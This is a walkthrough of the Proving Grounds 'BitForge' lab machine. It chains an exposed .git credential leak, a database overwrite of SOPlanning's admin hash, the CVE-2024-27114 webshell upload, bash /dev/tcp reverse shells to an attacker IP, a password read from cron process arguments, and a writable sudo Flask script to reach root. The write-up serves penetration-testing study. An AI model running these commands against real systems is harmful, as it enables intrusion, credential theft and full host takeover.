Skip to content

BitForge Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

BitForge's web site leaks hardcoded database credentials through an exposed .git history. Those credentials reset SOPlanning's admin password hash to a known value, unlocking an authenticated file-upload RCE (CVE-2024-27114) for a www-data shell. A cron job that leaks credentials in its process arguments gives lateral movement to jack, and a writable sudo-permitted Flask script finishes the job as root.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
22/tcp   open  ssh    OpenSSH 9.6p1 Ubuntu
80/tcp   open  http   Apache httpd - BitForge Solutions website
3306/tcp open  mysql  MySQL 8.0.40

Add the application's virtual hosts to /etc/hosts.

┌──(kali㉿kali)-[~]
└─$ echo '$TARGET_IP bitforge.lab plan.bitforge.lab' | sudo tee -a /etc/hosts

Web enumeration

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://bitforge.lab -w /usr/share/wordlists/dirb/common.txt
/.git/HEAD            (Status: 200)  # exposed git repository
/index.php            (Status: 200)
/static/              (Status: 301)

Exploitation

Git repository credential leak

Dump the exposed repository and walk its history.

┌──(kali㉿kali)-[~]
└─$ git-dumper http://bitforge.lab/.git/ /tmp/bitforge-git
┌──(kali㉿kali)-[~]
└─$ cd /tmp/bitforge-git
┌──(kali㉿kali)-[~]
└─$ git log --oneline
1ce700a (HEAD -> main) created .env to store the database configuration
eaf6c81 removing db-config due to hard coded credentials
18833b8 added the database configuration
f4f6de6 setting up login and index page for the BitForge website

The removed commit still holds the database config.

┌──(kali㉿kali)-[~]
└─$ git show eaf6c81
$dbHost = 'localhost';
$dbName = 'bitforge_customer_db';
$username = 'BitForgeAdmin';
$password = '$BITFORGEADMIN_PASSWORD';

SOPlanning admin hash reset

Connect to MariaDB with the recovered credentials and inspect SOPlanning's database.

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -u BitForgeAdmin -p$BITFORGEADMIN_PASSWORD --skip-ssl
MariaDB [(none)]> SHOW DATABASES;
MariaDB [(none)]> USE soplanning;
MariaDB [soplanning]> SELECT * FROM planning_user;
Explain command
--skip-ssl Bypass the self-signed certificate on remote TLS.

Rather than cracking the admin hash, overwrite it with the known SHA-1 hash of admin, SOPlanning's default demo password.

UPDATE planning_user SET password='df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id='ADM';

SOPlanning file-upload RCE (CVE-2024-27114)

Log in at http://plan.bitforge.lab with admin:admin and run the authenticated file-upload exploit.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 52082
┌──(kali㉿kali)-[~]
└─$ python3 52082.py -t http://plan.bitforge.lab/www -u admin -p admin
Webshell uploaded: http://plan.bitforge.lab/www/upload/files/ru56jq/gk2.php?cmd=<command>

Start a listener and trigger a reverse shell through the webshell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'

The listener catches a shell as www-data. Stabilize it.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty; pty.spawn("/bin/bash")'
┌──(kali㉿kali)-[~]
└─$ # Ctrl+Z
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
┌──(kali㉿kali)-[~]
└─$ export TERM=xterm

Privilege Escalation

Lateral movement via a leaky cron job

A cron job runs a MySQL backup whose credentials are visible in the process arguments.

┌──(kali㉿kali)-[~]
└─$ ps -ef | grep mysqldump
jack   mysqldump -u jack -p$JACK_PASSWORD
┌──(kali㉿kali)-[~]
└─$ ssh jack@$TARGET_IP
jack@bitforge:~$ id
uid=1001(jack) gid=1001(jack) groups=1001(jack)

Writable sudo Flask application

Check sudo permissions.

┌──(kali㉿kali)-[~]
└─$ sudo -l
(root) NOPASSWD: /usr/bin/flask_password_changer
┌──(kali㉿kali)-[~]
└─$ ls -la /opt/password_change_app/
drwxr-xr-x 3 jack jack 4096 Jan 16  2025 .
-rw-r--r-- 1 jack jack  134 Jan 16  2025 app.py
drwxr-xr-x 2 jack jack 4096 Jan 16  2025 templates

The app directory and app.py are owned by jack, so replace the script with a reverse shell payload.

import os
os.system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'")
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/flask_password_changer

The sudo-permitted script runs the payload as root.

┌──(kali㉿kali)-[~]
└─$ id
uid=0(root) gid=0(root) groups=0(root)

References